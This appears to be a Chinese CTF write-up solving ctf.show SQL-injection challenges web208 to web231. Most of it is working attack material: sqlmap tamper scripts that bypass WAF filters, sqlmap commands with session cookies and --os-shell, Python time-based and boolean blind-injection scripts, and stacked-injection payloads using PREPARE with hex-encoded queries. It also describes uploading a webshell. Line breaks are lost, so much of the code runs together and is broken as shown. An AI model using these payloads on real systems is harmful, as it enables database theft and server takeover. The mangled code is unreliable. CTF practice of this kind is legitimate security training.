from lib.core.enums import DBMS__priority__ = PRIORITY.LOWdef dependencies():singleTimeWarnMessage("By孤桜懶契-空格替换制表符0x09")def tamper(payload, **kwargs):payload = space2comment(payload)return payloaddef space2comment(payload):retVal = payloadif payload:retVal = ""quote, doublequote, firstspace = False, False, Falsefor i in xrange(len(payload)):if not firstspace:if payload[i].isspace():firstspace = TrueretVal += chr(0x09)continueelif payload[i] == '\'':quote = not quoteelif payload[i] == '"':doublequote = not doublequoteelif payload[i] == " " and not doublequote and not quote:retVal += chr(0x09)continueretVal += payload[i]return retVal

web208

//对传入的参数进行了过滤
// $id = str_replace('select', '', $id);function waf($str){return preg_match('/ /', $str);}
  • 只过滤了小写的select,sqlmap自己就会跑大写的
sqlmap.py -u "http://90811f8e-b2c5-4181-ac8a-2752c4d91c40.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://90811f8e-b2c5-4181-ac8a-2752c4d91c40.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=mycomment -D ctfshow_web -T ctfshow_flaxcac --dump

web209

//对传入的参数进行了过滤function waf($str){//TODO 未完工return preg_match('/ |\*|\=/', $str);}

多过滤了*号和=号,我们在上面的脚本多加一个匹配=号换like

sqlmap.py -u "http://e83f1efc-354e-42c0-8c2e-ca9eafd2f81d.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://e83f1efc-354e-42c0-8c2e-ca9eafd2f81d.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=mycomment  -D ctfshow_web -T ctfshow_flav --dump
#!/usr/bin/env python
"""
Author:孤桜懶契
"""from lib.core.compat import xrange
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS__priority__ = PRIORITY.LOWdef dependencies():singleTimeWarnMessage("By孤桜懶契-空格替换制表符0x09,=号换like")def tamper(payload, **kwargs):payload = space2comment(payload)return payloaddef space2comment(payload):retVal = payloadif payload:retVal = ""quote, doublequote, firstspace = False, False, Falsefor i in xrange(len(payload)):if not firstspace:if payload[i].isspace():firstspace = TrueretVal += chr(0x09)continueelif payload[i] == '\'':quote = not quoteelif payload[i] == '"':doublequote = not doublequoteelif payload[i] == '=':retVal += chr(0x09) + 'like' + chr(0x09)continueelif payload[i] == "*":retVal += chr(0x31)continueelif payload[i] == " " and not doublequote and not quote:retVal += chr(0x09)continueretVal += payload[i]return retVal

web210

//对查询字符进行解密function decode($id){return strrev(base64_decode(strrev(base64_decode($id))));}
  • 先对字符串进行64解码,然后再反转字符,再套一层,我们写个相反就的行了
#!/usr/bin/env python
"""
Author:孤桜懶契
"""import base64
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage__priority__ = PRIORITY.LOWdef dependencies():singleTimeWarnMessage("By孤桜懶契-base编码两次-反转两次")def tamper(payload, **kwargs):payload = encode(payload)return payloaddef encode(payload):retVal = payloadif payload:retVal = retVal.replace(" ",chr(0x09))retVal = retVal.encode()retVal = retVal[::-1]retVal = base64.b64encode(retVal)retVal = retVal[::-1]retVal = base64.b64encode(retVal)retVal = retVal.decode()return retVal

payload

sqlmap.py -u "http://6848c055-1297-4397-8dc0-d2477ea293db.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://6848c055-1297-4397-8dc0-d2477ea293db.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=my

web211

  • 和上题一样,过滤了空格号,不影响,我上个代码中写了替换空格为0x09也就是制表符
sqlmap.py -u "http://6848c055-1297-4397-8dc0-d2477ea293db.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://6848c055-1297-4397-8dc0-d2477ea293db.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=my -D ctfshow_web -T ctfshow_flavia --dump

web212

  • 和上题一样过滤多加了个*不影响我们

payload

sqlmap.py -u "http://2b123cfd-31cd-465e-b7cb-1e1470122ae4.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://2b123cfd-31cd-465e-b7cb-1e1470122ae4.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=my  -T ctfshow_web -T  ctfshow_flavis --dump

web213

  • 这题需要getshell,因为过滤的和上题一样,就用我那个过滤脚本
#!/usr/bin/env python
"""
Author:孤桜懶契
"""import base64
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage__priority__ = PRIORITY.LOWdef dependencies():singleTimeWarnMessage("By孤桜懶契-base编码两次-反转两次")def tamper(payload, **kwargs):payload = encode(payload)return payloaddef encode(payload):retVal = payloadif payload:retVal = retVal.replace(" ",chr(0x09))retVal = retVal.encode()retVal = retVal[::-1]retVal = base64.b64encode(retVal)retVal = retVal[::-1]retVal = base64.b64encode(retVal)retVal = retVal.decode()return retVal

然后接着我们进行getshell上传一个上传点

http://6309ef18-4721-4f5c-919d-bf47c71c749e.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://6309ef18-4721-4f5c-919d-bf47c71c749e.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=my --os-shell

上传一句话木马,蚁剑连接

在根目录下有flag

web214

  • 时间盲注,直接脚本跑
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/31
# blog: gylq.gitee.io
import requests
import timeurl = "http://5eb465ee-6eeb-4508-9fea-5496e3ad2a8f.challenge.ctf.show:8080/api/"
str = "01234567890qwertyuiopasdfghjklzxcvbnm{}-()_,,"
flag = ""#payload = "if(substr(database(),{},1)='{}',sleep(3),0)"
#payload = "if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',sleep(5),0)"
#payload = "if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagx'),{},1)='{}',sleep(5),0)"
payload = "if(substr((select group_concat(flaga) from ctfshow_flagx),{},1)='{}',sleep(5),0)"
n = 0for i in range(0, 666):for j in str:data = {"ip": payload.format(i,j),"debug": '0'}start = time.time()res = requests.post(url, data)end = time.time()print(end - start)if end - start > 4.9 and end - start < 6.9:flag += jn += 1print('[*] 开始盲注第{}位'.format(n))print(flag)if j == "}":print('[*] flag is {}'.format(flag))exit()break

web215

  • 题目提示说加了单引号,我们就闭合掉,改一下上面的代码,继续跑
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/31
# blog: gylq.gitee.io
import requests
import timeurl = "http://fed15780-e37b-48e2-8e96-86d984f46b94.challenge.ctf.show:8080/api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""#查数据库payload = "1' or if(substr(database(),{},1)='{}',sleep(3),0) #"
#查表payload = "1' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',sleep(3),0) #"
#查字段payload = "1' or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxc'),{},1)='{}',sleep(3),0) #"
payload = "1' or if(substr((select group_concat(flagaa) from ctfshow_flagxc),{},1)='{}',sleep(3),0) #"
#payload = "if(substr((select group_concat(flaga) from ctfshow_flagx),{},1)='{}',sleep(5),0)"
n = 0for i in range(0, 666):for j in str:data = {"ip": payload.format(i,j),"debug": '0'}start = time.time()res = requests.post(url, data)end = time.time()if end - start > 2.9 and end - start < 4.9:flag += jn += 1print('[*] 开始盲注第{}位'.format(n))print(flag)if j == "}":print('[*] flag is {}'.format(flag))exit()break

web216

where id = from_base64($id);
  • 加了个base64解密,所以我们用“MQ==”–>1 所以就会算是true,这题没单引号,所以改一下上一题代码。
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/31
# blog: gylq.gitee.io
import requests
import timeurl = "http://83e21d02-6e3a-4c01-9016-79367bdcb966.challenge.ctf.show:8080/api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""
#'MQ==' or if(1=1,sleep(5),0)
#payload = "'MQ==' or if(substr(database(),{},1)='{}',sleep(5),0) "
#payload = "'MQ==' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',sleep(5),0) "
#payload = "'MQ==' or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxcc'),{},1)='{}',sleep(5),0) "
payload = "'MQ==' or if(substr((select group_concat(flagaac) from ctfshow_flagxcc),{},1)='{}',sleep(5),0) "
n = 0for i in range(0, 666):for j in str:data = {"ip": payload.format(i,j),"debug": '0'}start = time.time()res = requests.post(url, data)end = time.time()if end - start > 4.9 and end - start < 6.9:flag += jn += 1print('[*] 开始盲注第{}位'.format(n))print(flag)if j == "}":print('[*] flag is {}'.format(flag))exit()break

web217

    //屏蔽危险分子function waf($str){return preg_match('/sleep/i',$str);}   
  • 过滤了sleep,可以换一个函数benchmark(6666666,sha(1))
benchmark(6666666,sha(1))
第一个参数指的是执行次数、第二参数指的是执行语句

将上一个payload改一下,跑一下就出来了,因为是执行次数来确定延时时间,所以也跟你家网速波动有关系,适当调试,我控制在一个1.4ms到4.9ms,应该能保证普通网速的,如果你网速超快,适当调整

# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/31
# blog: gylq.gitee.io
import requests
import timeurl = "http://fe186d5a-2385-43fd-8d4a-d557cc25b038.challenge.ctf.show:8080//api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""
#1 or if(substr(database(),{},1)='{}',benchmark(6666666,sha(1)),0)#payload = "1 or if(substr(database(),{},1)='{}',benchmark(6666666,sha(1)),0)"
#payload = "1) and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',benchmark(5000000,sha(1)),0) #"
#payload = "1) and if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxccb'),{},1)='{}',benchmark(5000000,sha(1)),0) #"
payload = "1) and if(substr((select group_concat(flagaabc) from ctfshow_flagxccb),{},1)='{}',benchmark(5000000,sha(1)),0) #"n = 0for i in range(0, 666):for j in str:data = {"ip": payload.format(i,j),"debug": '0'}start = time.time()res = requests.post(url, data)end = time.time()# print(end-start)if end - start > 1.4 and end - start < 4.9:flag += jn += 1print('[*] 开始盲注第{}位'.format(n))print(flag)if j == "}":print('[*] flag is {}'.format(flag))exit()break

web218

  • 这题过滤了benchmark,不过还有RLIKE REGEXP正则匹配
 select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');​正则语法:. : 匹配任意单个字符* : 匹配0个或多个前一个得到的字符[] : 匹配任意一个[]内的字符,[ab]*可匹配空串、a、b、或者由任意个a和b组成的字符串。^ : 匹配开头,如^s匹配以s或者S开头的字符串。$ : 匹配结尾,如s$匹配以s结尾的字符串。{n} : 匹配前一个字符反复n次。RPAD(str,len,padstr)用字符串 padstr对 str进行右边填补直至它的长度达到 len个字符长度,然后返回 str。如果 str的长度长于 len',那么它将被截除到 len个字符。mysql> SELECT RPAD('hi',5,'?'); -> 'hi???'​repeat(str,times)  复制字符串times次

所以我们可以利用这个来进行构造延时函数

concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'

以上代码预估等于sleep(5)效果,具体根据网速和性能判断,利用此性质写将上面的代码更改一下,跑flag

# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/31
# blog: gylq.gitee.io
import requests
import time
bypass="concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'"
url = "http://4f04cb91-f6ed-43ce-bc4d-539d9c5b2a7b.challenge.ctf.show:8080/api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""
#1) and  if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',( concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'),0)#
#求表payload = "1) and  if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',({}),0)#"
#payload = "1) and  if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxc'),{},1)='{}',({}),0)#"
payload = "1) and  if(substr((select group_concat(flagaac) from ctfshow_flagxc),{},1)='{}',({}),0)#"n = 0for i in range(0, 666):for j in str:data = {"ip": payload.format(i,j,bypass),"debug": '0'}start = time.time()res = requests.post(url, data)end = time.time()if end - start > 0.4 and end - start < 1:flag += jn += 1print('[*] 开始盲注第{}位'.format(n))print(flag)if j == "}":print('[*] flag is {}'.format(flag))exit()break

web219

    //屏蔽危险分子function waf($str){return preg_match('/sleep|benchmark|rlike/i',$str);}
  • 这题吧RLIKE给禁了,我发现把RLIKE换成LIke一样可以,继续上把代码改一下,不过需要注意跟你家网速有关,网速好,一次flag就对,不好就多对比几下
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/31
# blog: gylq.gitee.io
import requests
import time
bypass="concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) LIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'"
url = "http://ea12a2f3-655e-44f2-b249-a95701399f73.challenge.ctf.show:8080/api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""
#1) and  if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',( concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'),0)#
#payload = "1) and  if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',({}),0)#"
#payload = "1) and  if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxca'),{},1)='{}',({}),0)#"
payload = "1) and  if(substr((select group_concat(flagaabc) from ctfshow_flagxca),{},1)='{}',({}),0)#"n = 0for i in range(0, 666):for j in str:data = {"ip": payload.format(i,j,bypass),"debug": '0'}start = time.time()res = requests.post(url, data)end = time.time()print(end - start)if end - start > 0.22 and end - start < 0.5:flag += jn += 1print('[*] 开始盲注第{}位'.format(n))print(flag)if j == "}":print('[*] flag is {}'.format(flag))exit()break
#ctfshow{92286539-ff05-4292-bcbf-7ff6fa6e31ab}

第二种思路,鉴于我发现我上面的方法,flag需要多跑几次,而且方法重样,所以想多写一个其他的绕过方法,笛卡尔积时间延时法

 笛卡尔积(因为连接表是一个很耗时的操作)AxB=A和B中每个元素的组合所组成的集合,就是连接表SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;select * from table_name A, table_name Bselect * from table_name A, table_name B,table_name Cselect count(*) from table_name A, table_name B,table_name C  表可以是同一张表

也就是换个bypass也而已,跑起来,这次成功率提高了很多,基本一次能跑成功

# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/8/1
# blog: gylq.gitee.io
import requests
import time
bypass="select count(*) from information_schema.schemata a, information_schema.tables b, information_schema.tables c, information_schema.schemata d, information_schema.schemata e"
url = "http://ea12a2f3-655e-44f2-b249-a95701399f73.challenge.ctf.show:8080/api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""
#1) and  if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',( concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'),0)#
#payload = "1) and  if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',({}),0)#"
#payload = "1) and  if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxca'),{},1)='{}',({}),0)#"
payload = "1) and  if(substr((select group_concat(flagaabc) from ctfshow_flagxca),{},1)='{}',({}),0)#"n = 0for i in range(0, 666):for j in str:data = {"ip": payload.format(i,j,bypass),"debug": '0'}start = time.time()res = requests.post(url, data)end = time.time()print(end - start)if end - start > 1.5 and end - start < 5:flag += jn += 1print('[*] 开始盲注第{}位'.format(n))print(flag)if j == "}":print('[*] flag is {}'.format(flag))exit()break
#ctfshow{92286539-ff05-4292-bcbf-7ff6fa6e31ab}

web220

  • 和布尔盲注一样,过滤substr,但是还有正则,或者left都可以,我们这里用正则写一个脚本,因为还过滤了concat所以不能用group_concat改用limit
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/8/1
# blog: gylq.gitee.io
import requests
import time
bypass="select count(*) from information_schema.schemata a, information_schema.tables b, information_schema.tables c, information_schema.schemata d, information_schema.schemata e, information_schema.schemata f"
url = "http://d82b1a0b-aba4-4fed-aa83-62d59d7df4ee.challenge.ctf.show:8080/api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""
#1) and if((database())regexp('^ctfshow'),(select count(*) from information_schema.schemata a, information_schema.tables b, information_schema.tables c, information_schema.schemata d, information_schema.schemata e, information_schema.schemata f),0)#
#payload = "1) and if((database())regexp('^{}'),({}),0)#"
#payload = "1) and if((select table_name from information_schema.tables where table_schema=database() limit 0,1)regexp('^{}'),({}),0)#"
#payload = "1) and if((select column_name from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxcac' limit 1,1)regexp('^{}'),({}),0)#"
payload = "1) and if((select flagaabcc from ctfshow_flagxcac limit 0,1)regexp('^{}'),({}),0)#"n = 0for i in range(0, 666):for j in str:data = {"ip": payload.format(flag + j,bypass),"debug": '0'}start = time.time()res = requests.post(url, data)end = time.time()if end - start > 3 and end - start < 5:flag += jn += 1print('[*] 开始盲注第{}位'.format(n))print(flag)if j == "}":print('[*] flag is {}'.format(flag))exit()break

web221

  • 考点是:MySQL利用procedure analyse()函数优化表结构
    limit后面能跟的也只有这个了似乎
# http://196cf3fd-f920-4018-a714-662ad61571e9.chall.ctf.show/api/?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),2)可以参考
# https://www.jb51.net/article/99980.htm

web222

  //分页查询$sql = select * from ctfshow_user group by $username;
  • 不懂group by建议看一下这一篇关于group报错注入https://www.cnblogs.com/02SWD/p/CTF-sql-group_by.html,可以理解一下,因为group by后面只能跟字段和字符串,所以我们构造字符串,利用concat(sleep(0.10),1)可以成功执行sleep()函数,我们再利用if来条件判断,就可以实现时间盲注,写一个脚本跑一波
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/8/1
# blog: gylq.gitee.io
import requests
import timeurl = "http://9a446c1a-4acd-4873-a290-53b36046a7b9.challenge.ctf.show:8080/api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"flag = ""
#-------------------------------------------------------------------------------------------------------------------------------------------------------------
#查表
# sql= "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#查字段
# sql= "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flaga'"
#查flag
sql= "select flagaabc from ctfshow_flaga"
#-------------------------------------------------------------------------------------------------------------------------------------------------------------
payload = "concat(if(substr(({}),{},1)='{}',sleep(0.10),0),1)"#concat(if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',sleep(0.10),0),1)n = 0for i in range(0, 666):for j in str:params = {'u' : payload.format(sql,i,j)}start = time.time()res = requests.get(url = url, params = params)end = time.time()if end - start > 2 and end - start < 3:flag += jn += 1print('[*] 开始盲注第{}位'.format(n))print(flag)if j == "}":print('[*] flag is {}'.format(flag))exit()break

web223

  • 这题多了个过滤,将数字全部过滤了,我们可以考虑用true来代替数字,所以这题我发现有两种方式一种是时间盲注(但是延时是20秒),另一种是布尔盲注,这把我们就用布尔速度快。看你喜好。

说一下原理,为什么使用布尔盲注,当if返回这true的时候,执行username就会group by username,数据就会多一些,但是当false就会当做字符串,数据就少一些,上两张图看看

当if条件为false时,数据回显就少了,根据这个可以布尔盲注

上脚本布尔,跑的快些,比时间盲注

# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/8/1
# blog: gylq.gitee.io
import requests
#import timedef generateNum(num):res = 'true'if num == 1:return reselse:for i in range(num-1):res += "+true"return resurl = "http://ce009cf2-8652-4737-ba07-b3bfc3bc3a4a.challenge.ctf.show:8080/api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""#*************************************************************************************************************************************************************
#--------查表
#sql= "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#--------查字段
#sql= "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagas'"
#--------查flag
sql= "select flagasabc from ctfshow_flagas"
#*************************************************************************************************************************************************************
payload = "if(ascii(substr(({}),{},true))=({}),username,false)"#计数
n = 0for i in range(1, 666):for j in range(32,126):result_num=generateNum(i)result=generateNum(j)params = {'u' : payload.format(sql,result_num,result)}res = requests.get(url = url, params = params)if "userAUTO" in res.text:flag += chr(j)n += 1print('[*] 开始盲注第{}位'.format(n))print(flag)if j == "}":print('[*] flag is {}'.format(flag))exit()break
#ctfshow{728dd1b0-7547-401d-b358-2d2207f3d13c}

web224

  • 我以为是输入框注入,没想到是文件注入,有一个君子协议里面可以重置密码robots.txt

登陆之后发现是一个上传点,什么都上传不进去,群里有一个payload.bin,上传就自动生成1.php,就直接是rce了,拿flag

web225

第一种做法,handle,因为堆叠注入,除了过滤的语句,基本是任意执行

# 打开一个表名为 tbl_name 的表的句柄
HANDLER tbl_name OPEN [ [AS] alias]# 1、通过指定索引查看表,可以指定从索引那一行开始,通过 NEXT 继续浏览
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)[ WHERE where_condition ] [LIMIT ... ]# 2、通过索引查看表
# FIRST: 获取第一行(索引最小的一行)
# NEXT: 获取下一行
# PREV: 获取上一行
# LAST: 获取最后一行(索引最大的一行)
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }[ WHERE where_condition ] [LIMIT ... ]# 3、不通过索引查看表
# READ FIRST: 获取句柄的第一行
# READ NEXT: 依次获取其他行(当然也可以在获取句柄后直接使用获取第一行)
# 最后一行执行之后再执行 READ NEXT 会返回一个空的结果
HANDLER tbl_name READ { FIRST | NEXT }[ WHERE where_condition ] [LIMIT ... ]# 关闭已打开的句柄
HANDLER tbl_name CLOSE

payload

http://76114b3b-7ffd-4016-8b00-b96feb693fd8.challenge.ctf.show:8080/api/?username=ctfshow';handler ctfshow_flagasa open;handler ctfshow_flagasa read first--+

第二种做法预处理

SET @tn = 'hahaha';  //存储表名
SET @sql = concat('select * from ', @tn);  //存储SQL语句
PREPARE name from @sql;   //预定义SQL语句
EXECUTE name;  //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla;  //删除预定义SQL语句

因为concat连接之后直接就是字符串,所以就直接构造payload

http://76114b3b-7ffd-4016-8b00-b96feb693fd8.challenge.ctf.show:8080/api/?username=ctfshow';show tables;prepare gylq from concat('s','elect',' * from ctfshow_flagasa');execute gylq;--+

web226

  • 预处理from后面可以跟十六进制,所以可以有更骚的姿势,直接将select * from ctfsh_ow_flagas转换成0x73656C656374202A2066726F6D2063746673685F6F775F666C61676173就可以直接语句执行

payload

http://bbec116e-8f61-487c-8966-9384be4efe14.challenge.ctf.show:8080/api/?username=userAUTO';prepare gylq from 0x73656C656374202A2066726F6D2063746673685F6F775F666C61676173;execute gylq--+

web227

  • 搜了个遍,没找到flag,最后发现information_schema.routines这个表是存放函数和存储过程字段的。我们查看一下这个表,关于函数的存储过程,看看网上这篇文章MySQL——查看存储过程和函数

payload,查看routines的所有字段和数据

http://faa7806b-aae1-4405-8c64-1600655bcd26.challenge.ctf.show:8080/api/?username=user1';prepare gylq from 0x73656C656374202A2066726F6D20696E666F726D6174696F6E5F736368656D612E726F7574696E6573;execute gylq;

可以直接用1';call getflag();来调用这个函数,不过这个所有字段里已经可以找到flag

web228

  • 和web226一样的做法,转十六进制
http://abd0d622-b6b8-48c7-98f3-9a49f3996b1b.challenge.ctf.show:8080/api/?username=user1';prepare gylq from 0x73656C656374202A2066726F6D2063746673685F6F775F666C616761736161;execute gylq;

web229

  • 和上题一样,估计没招了
http://74ea40ed-fc20-471c-8d2e-05cbd44aadad.challenge.ctf.show:8080/api/?username=user1';prepare gylq from 0x73656C656374202A2066726F6D20666C6167;execute gylq;

web230

  • 堆叠注入的精髓就是预处理和转十六进制么,和上题一样
http://bde7f4f9-1def-42cf-afee-da3025b6550a.challenge.ctf.show:8080/api/?username=user1';prepare gylq from 0x73656C656374202A2066726F6D20666C61676161626278;execute gylq;

web231

  • 我看到第一眼,就想着写个脚本,看了别人wp发现不用写布尔脚本,但是我写了,所以就用脚本梭哈
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/8/1
# blog: gylq.gitee.io
import requests
#import time# def generateNum(num):
#     res = 'true'
#     if num == 1:
#         return res
#     else:
#         for i in range(num-1):
#             res += "+true"
#         return resurl = "http://06b28180-71ea-4f89-a05a-7d6baaf18696.challenge.ctf.show:8080/api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""
#password=1234567811&username=ctfshow' and if(substr(database(),1,1)='c',1,0)#
#*************************************************************************************************************************************************************
#--------查表
#sql= "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#--------查字段
#sql= "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flaga'"
#--------查flag
sql= "select group_concat(flagas) from flaga"
#*************************************************************************************************************************************************************
payload = "ctfshow' and if(substr(({}),{},1)='{}',1,0)#"#计数
n = 0for i in range(1, 666):for j in str:params = {'username' : payload.format(sql,i,j),'password' : "{}".format(i)}res = requests.post(url = url, data = params)#print(res.text)if r"\u66f4\u65b0\u6210\u529f" in res.text:flag += jn += 1print('[*] 开始盲注第{}位'.format(n))print(flag)if j == "}":print('[*] flag is {}'.format(flag))exit()break
  • 第二种方式,了解一下性质,学习学习。
 $sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

他语句是这样,那我们拼接一下成

update ctfshow_user set pass = '1',username=database()# where username = '{$username}'; #后面就的被注释掉了

就有这样的效果

这样不就任意语句执行了。

payload

username=ctfshow&password=1' ,username=database()#

拿flag

username=ctfshow&password=1' ,username=(select group_concat(flagas) from flaga)#

web232

